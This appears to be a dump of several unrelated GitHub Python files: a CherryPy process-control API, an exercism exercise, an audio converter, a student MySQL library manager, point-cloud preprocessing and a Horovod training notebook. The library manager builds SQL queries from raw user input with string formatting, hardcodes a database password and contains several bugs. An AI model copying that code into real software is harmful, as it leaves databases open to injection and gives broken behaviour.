'odr-padencoder')\n })\n except Exception as e:\n return {'status': '-301', 'statusText': 'Error when getting process status (XMLRPC): {}'.format(e)}\n\n if 'supervisor_additional_processes' in self.conf.config['global']:\n for proc in self.conf.config['global']['supervisor_additional_processes']:\n try:\n pn = server.supervisor.getProcessInfo(proc)\n pn['coder_name'] = 'Other process'\n pn['coder_description'] = 'It\\'s an additional supervisor process'\n pn['coder_uniq_id'] = ''\n output.append( pn )\n except Exception as e:\n output.append({\n 'now': 0,\n 'group': '%s' % (proc),\n 'description': 'PROCESS is not available',\n 'pid': 0,\n 'stderr_logfile': '',\n 'stop': 0,\n 'statename': 'UNKNOWN',\n 'start': 0,\n 'state': 1000,\n 'stdout_logfile': '',\n 'logfile': '',\n 'existstatus': 0,\n 'name': '%s' % (proc),\n 'coder_name': 'Other process',\n 'coder_description': 'It\\'s an additional supervisor process',\n 'coder_uniq_id': ''\n })\n\n return {'status': '0', 'statusText': 'Ok', 'data': output}\n\n\n def serviceAction(self, action, service, uniq_id):\n self.conf = Config(self.config_file)\n if uniq_id != '':\n process = '%s-%s' % (service, uniq_id)\n else:\n process = service\n\n server = xmlrpc_client.ServerProxy(self.conf.config['global']['supervisor_xmlrpc'])\n try:\n if action == 'start':\n server.supervisor.reloadConfig()\n server.supervisor.removeProcessGroup(process)\n server.supervisor.reloadConfig()\n server.supervisor.addProcessGroup(process)\n server.supervisor.reloadConfig()\n #server.supervisor.startProcess(process)\n if uniq_id != '':\n self.conf.setConfigurationChanged(uniq_id, service, False)\n elif action == 'stop':\n server.supervisor.stopProcess(process)\n elif action == 'restart':\n server.supervisor.stopProcess(process)\n\n server.supervisor.reloadConfig()\n server.supervisor.removeProcessGroup(process)\n server.supervisor.reloadConfig()\n server.supervisor.addProcessGroup(process)\n server.supervisor.reloadConfig()\n #server.supervisor.startProcess(process)\n if uniq_id != '':\n self.conf.setConfigurationChanged(uniq_id, service, False)\n except Exception as e:\n return { 'status': '-401', 'statusText': str(e) }\n else:\n return { 'status': '0', 'statusText': 'Ok', 'data': [] }\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def start(self):\n cl = cherrypy.request.headers['Content-Length']\n rawbody = cherrypy.request.body.read(int(cl))\n data = json.loads(rawbody.decode('utf-8'))\n\n return self.serviceAction('start', data['service'], data['uniq_id'])\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def stop(self):\n cl = cherrypy.request.headers['Content-Length']\n rawbody = cherrypy.request.body.read(int(cl))\n data = json.loads(rawbody.decode('utf-8'))\n\n return self.serviceAction('stop', data['service'], data['uniq_id'])\n\n @cherrypy.expose\n @cherrypy.tools.json_out()\n @require()\n def restart(self):\n cl = cherrypy.request.headers['Content-Length']\n rawbody = cherrypy.request.body.read(int(cl))\n data = json.loads(rawbody.decode('utf-8'))\n\n return self.serviceAction('restart', data['service'], data['uniq_id'])\n","repo_name":"Opendigitalradio/ODR-EncoderManager","sub_path":"api/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":66100,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"7"} +{"seq_id":"7187660307","text":"def hey(phrase):\n \"\"\"\n input: str, phrase to say to Bob\n return: str, Bob's response\n \"\"\"\n if type(phrase) != str:\n raise TypeError('Input phrase should be of type string')\n\n phrase = phrase.rstrip()\n if phrase == '':\n return 'Fine. Be that way!'\n elif phrase.isupper():\n return 'Whoa, chill out!'\n elif phrase[-1] == '?':\n return 'Sure.'\n else:\n return 'Whatever.'\n","repo_name":"MitchellKiah/exercism","sub_path":"python/bob/bob.py","file_name":"bob.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13142868479","text":"from pydub import AudioSegment\r\nfrom pydub.playback import play\r\n#import pyaudio\r\nimport wave\r\nimport fleep\r\n#recording\r\n\r\n# chunk = 1024 # Record in chunks of 1024 samples\r\n# sample_format = pyaudio.paInt16 # 16 bits per sample\r\n# channels = 2\r\n# fs = 44100 # Record at 44100 samples per second\r\n# seconds = 10\r\n# filename = \"outputRecord.wav\"\r\n#\r\n# p = pyaudio.PyAudio() # Create an interface to PortAudio\r\n#\r\n# print('Recording')\r\n#\r\n# stream = p.open(format=sample_format,\r\n# channels=channels,\r\n# rate=fs,\r\n# frames_per_buffer=chunk,\r\n# input=True)\r\n#\r\n# frames = [] # Initialize array to store frames\r\n#\r\n# # Store data in chunks for 3 seconds\r\n# for i in range(0, int(fs / chunk * seconds)):\r\n# data = stream.read(chunk)\r\n# frames.append(data)\r\n#\r\n# # Stop and close the stream\r\n# stream.stop_stream()\r\n# stream.close()\r\n# # Terminate the PortAudio interface\r\n# p.terminate()\r\n#\r\n# print('Finished recording')\r\n#\r\n# # Save the recorded data as a WAV file\r\n# wf = wave.open(filename, 'wb')\r\n# wf.setnchannels(channels)\r\n# wf.setsampwidth(p.get_sample_size(sample_format))\r\n# wf.setframerate(fs)\r\n# wf.writeframes(b''.join(frames))\r\n# wf.close()\r\n\r\n#conversion from other formats to wav\r\nfile_in = r\"m4aSamplefile.m4a\"\r\nfile_in_video = r\"videoMp4.mp4\"\r\nfile_out='converted3'\r\n\r\nsong_out=AudioSegment.from_file(file_in_video).export(file_out+\".wav\", format=\"wav\")\r\n\r\n\r\n#get file type\r\nwith open(file_in, \"rb\") as file:\r\n info = fleep.get(file.read(128))\r\n\r\nprint(info.type)\r\nprint(info.extension)\r\n#print(info.mime)\r\n\r\n\r\nif info.type[0] ==\"audio\":\r\n print('Audio file accepted')\r\n","repo_name":"Shabdha/ProfanityReplacement","sub_path":"audioConvert.py","file_name":"audioConvert.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"17247759963","text":"import mysql.connector as mys\nmycon=mys.connect(host='localhost', user='root', passwd='samy', database='library')\ndef display_all_books():\n mycursor=mycon.cursor()\n mycursor.execute(\"select* from books\")\n mydata=mycursor.fetchall()\n nrec=mycursor.rowcount\n print(\"Total records fetched are\", nrec)\n for row in mydata:\n print(row)\ndef display_all_customers():\n mycursor=mycon.cursor()\n mycursor.execute(\"select* from customer\")\n mydata=mycursor.fetchall()\n nrec=mycursor.rowcount\n print(\"Total records fetched are\", nrec)\n for row in mydata:\n for r in row:\n print(r)\ndef borrow():\n mycursor=mycon.cursor()\n print(\"Borrow a Book\")\n ans='y'\n while ans.lower()==\"y\":\n sno=input('Enter serial number:')\n cno=int(input('Enter Customer ID:'))\n cname='select Custm_Name from customer where Custm_ID={}'. format(cno)\n mycursor.execute(cname)\n cname=mycursor.fetchall()[0][0]\n import datetime\n date = datetime.datetime.now()\n ISBN=input(\"Enter ISBN:\")\n bname='select Book_Name from books where ISBN=\"{}\"'. format(ISBN)\n mycursor.execute(bname)\n bname=mycursor.fetchone()\n query='insert into issue values({}, \"{}\", \"{}\", \"{}\", {}, \"{}\")'. format(sno, date, ISBN, bname, cno, cname)\n mycursor.execute(query)\n copies_no='select No_of_Copies from books where ISBN=\"{}\"'. format(ISBN)\n mycursor.execute(copies_no)\n data=mycursor.fetchone()\n data2=data[0]\n data3=data2-1\n mycursor.execute(query)\n mycon.commit()\n query1='update books set No_of_copies={} where ISBN={}'. format(data3, ISBN)\n mycursor.execute(query1)\n mycon.commit()\n query2='insert into returnes(SNO, Due_Date, ISBN, Custm_ID) values( {}, dateadd(week, 3, {}), \"{}\",{})'. format( sno, date, ISBN, cno)\n mycursor.execute(query2)\n mycon.commit()\n print(\"------------------RECORD SAVED---------------\")\n ans=input(\"Do you want to borrow more books?(y/n)\")\ndef return_book():\n mycursor=mycon.cursor()\n print(\"Return a Book\")\n cno=int(input(\"Enter Customer ID:\"))\n ISBN=input('Enter ISBN:')\n query='select * from returnes where Custm_ID={} and ISBN=\"{}\"'. format(cno, ISBN)\n mycursor.execute(query)\n data=mycursor.fetchone()\n if data!=None:\n print(\"------------------RECORD FOUND---------------\")\n answer=input(\"Are you sure you want to return the book?(y/n)\")\n if answer.lower()=='y':\n import datetime\n r_date = datetime.datetime.now()\n query='insert into returnes (Date_returned) values(\"{}\")'. format(r_date)\n mycursor.execute(query)\n mycon.commit()\n copies_no='select No_of_Copies from books where ISBN=\"{}\"'. format(ISBN)\n mycursor.execute(copies_no)\n data=mycursor.fetchone()\n data2=data[0]\n data3=data2+1\n query1 ='update books set No_of_copies={} where ISBN={}'. format(data3, ISBN)\n mycursor.execute(query1)\n mycon.commit()\n query1='select Due_date from returnes where where ISBN=\"{}\" and custm_id={}'. format(ISBN, cno)\n mycursor.execute(query1)\n data=mycursor.fetchone()\n query2='select datediff(\"{}\", \"{}\")'. format(data, r_date)\n mycursor.execute(query2)\n data2=mycursor.fetchone()\n if data2<=21:\n query3='insert into returnes(Fine_Amount, Payment_Status) values(NULL, NULL)'\n mycursor.execute(query3)\n mycon.commit\n else:\n query3='select price from books where ISBN=\"{}\"'. format(ISBN)\n mycursor.execute(query3)\n data3=mycursor.fetchone()+(data2*2)\n ans=(\"You have returned the book after the due date and hence are subject to a fine. Do you want to Pay the fine now?(y/n)\")\n if ans.lower=='y':\n query4='insert into returnes(Fine_Amount, Payment_Status) values({}, \"{}\")'. format(data3, ans.upper())\n mycursor.execute(query4)\n mycon.commit()\n else:\n query4='insert into returnes(Fine_Amount, Payment_Status) values({}, \"{}\")'. format(data3,'N')\n mycursor.execute(query4)\n mycon.commit()\ndef add_books():\n mycursor=mycon.cursor()\n print(\"Welcome to Book Data Entry\")\n ans='y'\n while ans.lower()==\"y\":\n sno=int(input('Enter Serial Number:'))\n isbn=input(\"Enter ISBN:\")\n book_name=input(\"Enter Book's Name:\")\n author=(input(\"Enter Author's Name:\"))\n publisher=input(\"Enter Publisher's Name:\")\n category=input(\"Enter Book Category:\")\n price=int(input(\"Enter Book Price:\"))\n copies_no=int(input(\"Enter Number of Copies:\"))\n query='insert into books values({}, \"{}\", \"{}\", \"{}\", \"{}\", \"{}\", {}, {})'. format(sno, isbn, book_name, author, publisher, category, price, copies_no)\n mycursor.execute(query)\n mycon.commit()\n print(\"------------------RECORD SAVED---------------\")\n ans=input(\"Do you want to add more?(y/n)\")\ndef remove_books():\n mycursor=mycon.cursor()\n isbn=(input(\"Enter ISBN:\"))\n query='delete from books where ISBN=\"{}\"'. format(isbn)\n mycursor.execute(query)\n query='select * from books where ISBN=\"{}\"'. format(isbn)\n mycursor.execute(query)\n data=mycursor.fetchone()\n if data==None:\n print(\"-----------------------------RECORD SUCCESSFULLY DELETED------------------------\")\n else:\n print(\"-----------------------------RECORD NOT FOUND--------------------------\")\ndef add_customers():\n mycursor=mycon.cursor()\n print(\"Welcome to Customer Data Entry\")\n ans='y'\n while ans.lower()==\"y\":\n sno=int(input('Enter Serial Number:'))\n Custm_ID=int(input(\"Enter Custm_ID:\"))\n Custm_Name=input(\"Enter Customer Name:\")\n age=int(input(\"Enter Customer's Age:\"))\n dob=(input(\"Enter Customer's D.O.B:\"))\n address=input(\"Enter Customer's Address:\")\n mobile=int(input(\"Enter Customer's Mobile Number:\"))\n email_id=(input(\"Enter Customer's Email_ID:\"))\n query='insert into customer values({}, {}, \"{}\", {}, \"{}\", \"{}\", {}, \"{}\")'. format(sno, Custm_ID, Custm_Name, age, dob, address, mobile, email_id)\n mycursor.execute(query)\n mycon.commit()\n print(\"------------------RECORD SAVED---------------\")\n ans=input(\"Do you want to add more?(y/n)\")\ndef remove_customers():\n mycursor=mycon.cursor()\n custm_id=int(input(\"Enter Customer ID:\"))\n query='delete from customer where Custm_ID={}'. format(custm_id)\n mycursor.execute(query)\n query='select * from customer where Custm_ID={}'. format(custm_id)\n mycursor.execute(query)\n data=mycursor.fetchone()\n if data==None:\n print(\"-----------------------------RECORD SUCCESSFULLY DELETED------------------------\")\n else:\n print(\"-----------------------------RECORD NOT FOUND--------------------------\")\ndef search_books():\n mycursor=mycon.cursor()\n isbn=(input(\"Enter ISBN:\"))\n query='select * from books where ISBN=\"{}\"'. format(isbn)\n mycursor.execute(query)\n data=mycursor.fetchone()\n if data!=None:\n print(\"-----------------------------RECORD FOUND------------------------\")\n for row in data:\n print(row)\n else:\n print(\"-----------------------------RECORD NOT FOUND--------------------------\")\ndef search_customers():\n mycursor=mycon.cursor()\n custm_id=int(input(\"Enter Custm_ID:\"))\n query='select * from customer where Custm_ID={}'. format(custm_id)\n mycursor.execute(query)\n data=mycursor.fetchone()\n if data!=None:\n print(\"-----------------------------RECORD FOUND------------------------\")\n for row in data:\n print(row)\n else:\n print(\"-----------------------------RECORD NOT FOUND--------------------------\")\ndef update_books():\n mycursor=mycon.cursor()\n print(\"Welcome to Book Data Update Screen\")\n isbn=(input(\"Enter ISBN:\"))\n query='select * from Books where ISBN={}'. format(isbn)\n mycursor.execute(query)\n data=mycursor.fetchone()\n if data!=None:\n print(\"------------------RECORD FOUND---------------\")\n for row in data:\n print(row)\n answer=input(\"Are you sure you want to update price?(y/n)\")\n if answer.lower()=='y':\n price=int(input(\"Enter Updated Price:\"))\n query=\"update books set Price={} where ISBN='{}'\". format(price,isbn)\n mycursor.execute(query)\n mycon.commit()\n print(\"------------------RECORD UPDATED---------------\")\n else:\n print(\"-------------------RECORD NOT FOUND--------------------\")\ndef update_customers():\n mycursor=mycon.cursor()\n print(\"Welcome to Customer Data Update Screen\")\n custm_id=int(input(\"Enter Custm_ID:\"))\n query='select * from customer where Custm_ID={}'. format(custm_id)\n mycursor.execute(query)\n data=mycursor.fetchone()\n if data!=None:\n print(\"------------------RECORD FOUND---------------\")\n for row in data:\n print(row)\n ans='y'\n while ans.lower()=='y':\n print(\"1. Update Age\")\n print(\"2. Update Address\")\n print(\"3. Update Mobile Number\")\n print(\"4. Update Email_ID\")\n answer=input(\"Which of the above do you want to update?\")\n if answer==1:\n age=int(input(\"Enter Updated Age:\"))\n query=\"update customer set Age={} where Custm_ID={}\". format(age, custm_id)\n mycursor.execute(query)\n mycon.commit()\n print(\"------------------RECORD UPDATED---------------\")\n elif answer==2:\n address=(input(\"Enter Updated Address:\"))\n query=\"update customer set Address={} where Custm_ID={}\". format(address, custm_id)\n mycursor.execute(query)\n mycon.commit()\n print(\"------------------RECORD UPDATED---------------\")\n elif answer==3:\n mobile=int(input(\"Enter Updated Mobile Number:\"))\n query=\"update customer set Mobile={} where Custm_ID={}\". format(mobile, custm_id)\n mycursor.execute(query)\n mycon.commit()\n print(\"------------------RECORD UPDATED---------------\")\n elif answer==4:\n email_id=(input(\"Enter Updated Email_ID:\"))\n query=\"update customer set Email_ID={} where Custm_ID={}\". format(email_id, custm_id)\n mycursor.execute(query)\n mycon.commit()\n print(\"------------------RECORD UPDATED---------------\")\n ans=input(\"Do you want to continue?(y/n)\")\n else:\n print(\"-------------------RECORD NOT FOUND--------------------\")\nprint(\"Menu Driven Program\")\nc_e=input('Are you a Employee or a Customer?(c/e)')\nif c_e.lower()==\"c\":\n answer='y'\n while answer.lower()=='y':\n print(\"_____________________________\")\n print(\"1.DISPLAY ALL BOOKS\")\n print(\"2.DISPLAY ALL CUSTOMERS\")\n print(\"3.BORROW A BOOK\")\n print(\"4.RETURN A BOOK\")\n print(\"_____________________________\")\n c=int(input(\"Enter your choice-\"))\n print(\"_____________________________\")\n if c==1:\n display_all_books()\n elif c==2:\n display_all_customers()\n elif c==3:\n borrow()\n elif c==4:\n return_book()\n print(\"_____________________________\")\n answer=input(\"Do you want to continue?(y/n)\")\n print(\"_____________________________\")\nelse:\n mycursor=mycon.cursor()\n eno=int(input(\"Enter Employee number:\"))\n query='select * from employee where emp_no={}'. format(eno)\n mycursor.execute(query)\n data=mycursor.fetchone()\n if data!=None:\n answer='y'\n while answer.lower()=='y':\n print(\"_____________________________\")\n print(\"1.DISPLAY ALL BOOKS\")\n print(\"2.DISPLAY ALL CUSTOMERS\")\n print(\"3.ADD BOOKS\")\n print(\"4.REMOVE BOOKS\")\n print(\"5.ADD CUSTOMERS\")\n print(\"6.REMOVE CUSTOMERS\")\n print(\"7.SEARCH FOR BOOKS\")\n print(\"8.SEARCH FOR CUSTOMERS\")\n print(\"9.UPDATE BOOK DETAILS\")\n print(\"10.UPDATE CUSTOMER DETAILS\")\n print(\"_____________________________\")\n c=int(input(\"Enter your choice-\"))\n print(\"_____________________________\")\n if c==1:\n display_all_books()\n elif c==2:\n display_all_customers()\n elif c==3:\n add_books()\n elif c==4:\n remove_books()\n elif c==5:\n add_customers()\n elif c==6:\n remove_customers()\n elif c==7:\n search_books()\n elif c==8:\n search_customers()\n elif c==9:\n update_books()\n elif c==10:\n update_customers()\n print(\"_____________________________\")\n answer=input(\"Do you want to continue?(y/n)\")\n print(\"_____________________________\")\n else:\n print(\"----------------EMPLOYEE ID NOT VALID--------------------\")","repo_name":"samyogxtha/Class12","sub_path":"sql/amn_library.py","file_name":"amn_library.py","file_ext":"py","file_size_in_byte":13673,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"73235331103","text":"import os\nimport sys\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(BASE_DIR)\nimport numpy as np\nimport os.path as osp\nimport pptk\n\nfrom multiprocessing import Pool\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--data_root', type=str, required=True, help=\"path to the FT3D_s training data\")\nparser.add_argument('--save_root', type=str, required=True, help=\"save path\")\nparser.add_argument('--num_points', type=int, required=False, default=32768, help='number of points in each training scene')\nparser.add_argument('--DEPTH_THRESHOLD', required=False, default=35.0)\n\nargs = parser.parse_args()\n\ndata_root = args.data_root\nsave_root = args.save_root\nnum_points = args.num_points\nDEPTH_THRESHOLD = args.DEPTH_THRESHOLD\n\nos.makedirs(save_root, exist_ok=True)\n\nroot = osp.realpath(osp.expanduser(data_root))\nall_paths = os.walk(root)\nuseful_paths = sorted([item[0] for item in all_paths if len(item[1]) == 0])\n\n\ndef process_one_file(index):\n # print(index)\n fn = useful_paths[index]\n pos1 = np.load(os.path.join(fn, 'pc1.npy'))\n pos2 = np.load(os.path.join(fn, 'pc2.npy'))\n\n # multiply -1 only for subset datasets\n pos1[..., -1] *= -1\n pos2[..., -1] *= -1\n pos1[..., 0] *= -1\n pos2[..., 0] *= -1\n\n sf = pos2[:, :3] - pos1[:, :3]\n\n near_mask = np.logical_and(pos1[:, 2] < DEPTH_THRESHOLD, pos2[:, 2] < DEPTH_THRESHOLD)\n indices = np.where(near_mask)[0]\n\n # No correspondence between the two sampled point clouds\n sample_num = np.min([len(indices), num_points])\n\n sampled_indices1 = np.random.choice(indices, size=sample_num, replace=False, p=None)\n sampled_indices2 = np.random.choice(indices, size=sample_num, replace=False, p=None)\n\n pos1 = pos1[sampled_indices1]\n sf = sf[sampled_indices1]\n pos2 = pos2[sampled_indices2]\n\n # Compute surface normal\n norm1 = pptk.estimate_normals(pos1, k=32, r=0.4, verbose=False, num_procs=16)\n norm2 = pptk.estimate_normals(pos2, k=32, r=0.4, verbose=False, num_procs=16)\n\n data_name = fn.split('/')[-1]\n os.makedirs(osp.join(save_root, data_name), exist_ok=True)\n\n np.save(osp.join(save_root, data_name, 'pc1.npy'), pos1)\n np.save(osp.join(save_root, data_name, 'pc2.npy'), pos2)\n np.save(osp.join(save_root, data_name, 'sf.npy'), sf)\n\n norm1 = norm1.astype(np.float16)\n np.save(osp.join(save_root, data_name, 'norm1.npy'), norm1)\n\n norm2 = norm2.astype(np.float16)\n np.save(osp.join(save_root, data_name, 'norm2.npy'), norm2)\n\n\nif __name__ == '__main__':\n list = np.arange(len(useful_paths))\n pool = Pool(4)\n pool.map(process_one_file, list)\n pool.close()\n pool.join()","repo_name":"L1bra1/Self-Point-Flow","sub_path":"data_preprocess/process_FT3D_s_train_data.py","file_name":"process_FT3D_s_train_data.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"7"} +{"seq_id":"38009419380","text":"# Databricks notebook source\n# MAGIC %md-sandbox\n# MAGIC \n# MAGIC
    \n# MAGIC \"Databricks\n# MAGIC
    \n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Horovod\n# MAGIC \n# MAGIC ## ![Spark Logo Tiny](https://files.training.databricks.com/images/105/logo_spark_tiny.png) In this lesson you will:
    \n# MAGIC - Use Horovod to train a distributed neural network\n# MAGIC \n# MAGIC Similar to Petastorm, Horovod is open-source developed by Uber. From [Uber's blog post](https://www.uber.com/blog/horovod/), \n# MAGIC \n# MAGIC > [Horovod is] named after a traditional Russian folk dance in which performers dance with linked arms in a circle, much like how distributed TensorFlow processes use Horovod to communicate with each other.\n# MAGIC \n# MAGIC The goal is to allow single node training to multiple nodes. Horovod uses a data parallelization strategy by distributing the training to multiple nodes in parallel. \n# MAGIC
    \n# MAGIC
    \n# MAGIC - Each node receives a copy of the model and a batch of the dataset \n# MAGIC - The node/worker computes the gradients on the assigned batch of data\n# MAGIC - Horovod uses `ring allreduce` algorithm to synchronize and average the gradients across nodes\n# MAGIC - All nodes/workers update their models' weights\n# MAGIC \n# MAGIC \n# MAGIC
    \n# MAGIC We will use `HorovodRunner` to wrap the single Python function that includes the training procedure. Spark implements barrier execution mode that allows multiple operations to be coordinated; for example, in neural networks, the training process needs to coordinate backpropagation and forward pass. HorovodRunner integrates with Spark's barrier execution/scheduling mode. If you are interested in more implementation details, refer to this documentation link.\n# MAGIC \n# MAGIC \n# MAGIC \n# MAGIC For additional resources, see:\n# MAGIC * [Paper released by Uber](https://arxiv.org/abs/1802.05799)\n\n# COMMAND ----------\n\n# MAGIC %run \"./Includes/Classroom-Setup\"\n\n# COMMAND ----------\n\ntrain_df = spark.read.format(\"delta\").load(f\"{DA.paths.datasets}/california-housing/train\")\n\nval_df = spark.read.format(\"delta\").load(f\"{DA.paths.datasets}/california-housing/val\")\nX_val = val_df.toPandas()\ny_val = X_val.pop(\"label\")\n\ntest_df = spark.read.format(\"delta\").load(f\"{DA.paths.datasets}/california-housing/test\")\nX_test = test_df.toPandas()\ny_test = X_test.pop(\"label\")\n\n# COMMAND ----------\n\ntarget_col = \"label\"\nfeature_cols = train_df.columns\nfeature_cols.remove(target_col)\nfeature_cols\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC The preprocessing code is the same from the previous notebook.\n\n# COMMAND ----------\n\nfrom dataclasses import dataclass\n\n@dataclass\nclass TrainConfig:\n \n batch_size: int = 64\n epochs: int = 10 \n learning_rate: float = 0.001\n verbose: int = 1\n prefetch: int = 2 \n validation_data = [X_val, y_val]\n \n # Define directory the underlying files are copied to\n # Leverages Network File System (NFS) location for better performance if using a single node cluster\n petastorm_cache: str = f\"file:///{DA.paths.working_dir}/petastorm\"\n \n # uncomment the line below if working with a multi node cluster (can't use NFS location)\n # petastorm_cache: str = f\"file:///{DA.paths.working_dir}/petastorm\".replace(\"///dbfs:/\", \"/dbfs/\")\n\n dbutils.fs.rm(petastorm_cache, recurse=True)\n dbutils.fs.mkdirs(petastorm_cache)\n petastorm_workers_count: int = spark.sparkContext.defaultParallelism\n\n# COMMAND ----------\n\nfrom petastorm.spark import SparkDatasetConverter, make_spark_converter\n\nfrom pyspark.ml.feature import VectorAssembler\nfrom pyspark.ml.feature import StandardScaler\nfrom pyspark.ml import Pipeline\n\ndef create_petastorm_converters_vec(train_df, cfg, feature_cols, target_col=\"label\"):\n # Set a cache directory for intermediate data storage \n spark.conf.set(SparkDatasetConverter.PARENT_CACHE_DIR_URL_CONF, cfg.petastorm_cache)\n \n vector_assembler = VectorAssembler(inputCols=feature_cols, outputCol=\"features\")\n \n t_df = vector_assembler.transform(train_df).select(\"features\", target_col)\n \n converter_train = make_spark_converter(t_df.repartition(cfg.petastorm_workers_count))\n \n return converter_train\n\n# COMMAND ----------\n\ncfg = TrainConfig()\n\n# COMMAND ----------\n\nconverter_train = create_petastorm_converters_vec(train_df, cfg, feature_cols, target_col)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Data Communication \n# MAGIC \n# MAGIC Notice that in Petastorm's `converter_train.make_tf_dataset` call below, we have `cur_shard=hvd.rank()` and `shard_count=hvd.size()`. This is because Horovod uses Message Passing Interface (MPI) implementation to set up the distributed infrastructure for the nodes to communicate with each other. \n# MAGIC \n# MAGIC Say we launch our training step on 4 VMs, each having 4 GPUs. If we launched one copy of the script per GPU:\n# MAGIC \n# MAGIC * Size would be the number of processes, in this case, 16.\n# MAGIC \n# MAGIC * Rank would be the unique process ID from 0 to 15 (size - 1).\n# MAGIC \n# MAGIC * Local rank would be the unique process ID within the VM from 0 to 3.\n# MAGIC \n# MAGIC Reference: \n# MAGIC * [Horovod docs](https://github.com/horovod/horovod/blob/master/docs/concepts.rst)\n\n# COMMAND ----------\n\n# MAGIC %md ## Defining Horovod Training\n# MAGIC \n# MAGIC Let's build up the function that will train our model in a distrubted manner\n\n# COMMAND ----------\n\n# Firstly we need to get our modules and set up some logistics\nimport horovod.tensorflow.keras as hvd\nimport mlflow\nimport horovod\n\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\n\nfrom petastorm import TransformSpec\n\n\n# As we will be sending the function to run on multiple machines, we need to be able to send data to our driver node for mlflow, this means we need to get our hostname and a token\ntf.random.set_seed(42)\n## get databricks credentials for mlflow tracking\ndatabricks_host = mlflow.utils.databricks_utils.get_webapp_url()\ndatabricks_token = dbutils.notebook.entry_point.getDbutils().notebook().getContext().apiToken().getOrElse(None)\n\n# Finally, we need to checkpoint our data incase of a failure or stoppage.\ncheckpoint_dir = f\"{DA.paths.working_dir}/petastorm_checkpoint_weights.ckpt\"\ndbutils.fs.rm(checkpoint_dir, True)\n#checkpoint_dir = checkpoint_dir.replace(\"dbfs:/\", \"/dbfs/\")\n\n\n# COMMAND ----------\n\ndef run_training_horovod():\n # Horovod: initialize Horovod.\n hvd.init()\n # If using GPU, see example in docs pin GPU to be used to process local rank (one GPU per process)\n # These steps are skipped on a CPU cluster\n # https://horovod.readthedocs.io/en/stable/tensorflow.html?#horovod-with-tensorflow\n \n # While we already included mlflow in our notebook, this function will be sent to new nodes so we will need it included again\n import mlflow\n import os\n\n # Configure Databricks MLflow environment\n mlflow.set_tracking_uri(\"databricks\")\n os.environ[\"DATABRICKS_HOST\"] = databricks_host\n os.environ[\"DATABRICKS_TOKEN\"] = databricks_token\n \n ########################################################################################################################################################\n ############################## Like the previous lesson, we need to create our dataset with the vectorization ##########################################\n tf_spec = TransformSpec(\n edit_fields=[(\"features\", np.float32, (len(feature_cols),), False)], \n selected_fields=[\"features\", target_col]\n )\n with converter_train.make_tf_dataset(transform_spec=tf_spec,\n workers_count=cfg.petastorm_workers_count, \n batch_size=cfg.batch_size,\n prefetch=cfg.prefetch,\n num_epochs=1 \n ) as train_ds:\n # Number of steps required to go through one epoch\n steps_per_epoch = len(converter_train) // cfg.batch_size\n normalizer = tf.keras.layers.Normalization(axis=-1)\n normalizer.adapt(train_ds.map(lambda x: x.features))\n \n with converter_train.make_tf_dataset(workers_count=cfg.petastorm_workers_count, \n batch_size=cfg.batch_size,\n prefetch=cfg.prefetch,\n num_epochs=None,\n cur_shard=hvd.rank(), \n shard_count=hvd.size()\n ) as train_ds:\n \n dataset = train_ds.map(lambda x: (x.features, x.label))\n steps_per_epoch = len(converter_train) // (cfg.batch_size*hvd.size())\n\n model = Sequential([normalizer, \n Dense(20, input_dim=len(feature_cols), activation=\"relu\"),\n Dense(20, activation=\"relu\"),\n Dense(1, activation=\"linear\")]\n ) \n ### We need to go further now, with the horovod optimizer, callbacks, and training with this converter_train call\n\n \n # Horovod: adjust learning rate based on number of GPUs/CPUs\n optimizer = tf.keras.optimizers.Adam(learning_rate=cfg.learning_rate)\n \n \n # Adding in Distributed Optimizer\n optimizer = hvd.DistributedOptimizer(optimizer)\n model.compile(optimizer=optimizer, loss=\"mse\", metrics=[\"mae\"])\n \n # Adding in callbacks\n callbacks = [\n # Horovod: broadcast initial variable states from rank 0 to all other processes.\n # This is necessary to ensure consistent initialization of all workers when\n # training is started with random weights or restored from a checkpoint.\n hvd.callbacks.BroadcastGlobalVariablesCallback(0),\n \n # Horovod: average metrics among workers at the end of every epoch.\n # Note: This callback must be in the list before the ReduceLROnPlateau,\n # TensorBoard or other metrics-based callbacks.\n hvd.callbacks.MetricAverageCallback(),\n \n # Horovod: using `lr = 1.0 * hvd.size()` from the very beginning leads to worse final\n # accuracy. Scale the learning rate `lr = 1.0` ---> `lr = 1.0 * hvd.size()` during\n # the first five epochs. See https://arxiv.org/abs/1706.02677 for details.\n hvd.callbacks.LearningRateWarmupCallback(initial_lr=cfg.learning_rate*hvd.size(), warmup_epochs=5, verbose=cfg.verbose),\n \n # Reduce the learning rate if training plateaus.\n tf.keras.callbacks.ReduceLROnPlateau(monitor=\"loss\", patience=10, verbose=2)\n ]\n \n # Horovod: save checkpoints only on worker 0 to prevent other workers from corrupting them.\n if hvd.rank() == 0:\n callbacks.append(tf.keras.callbacks.ModelCheckpoint(checkpoint_dir.replace(\"dbfs:/\", \"/dbfs/\"), \n monitor=\"loss\", \n save_best_only=True))\n \n # Here we will do our actual training of the model on each node\n history = model.fit(train_ds, \n steps_per_epoch=steps_per_epoch,\n epochs=cfg.epochs,\n callbacks=callbacks,\n verbose=cfg.verbose,\n validation_data=cfg.validation_data\n )\n \n # MLflow Tracking (Log only from Worker 0)\n if hvd.rank() == 0: \n\n # Log events to MLflow\n with mlflow.start_run(run_id = active_run_id) as run:\n # Log MLflow Parameters\n mlflow.log_param(\"num_layers\", len(model.layers))\n mlflow.log_param(\"optimizer_name\", \"Adam\")\n mlflow.log_param(\"learning_rate\", 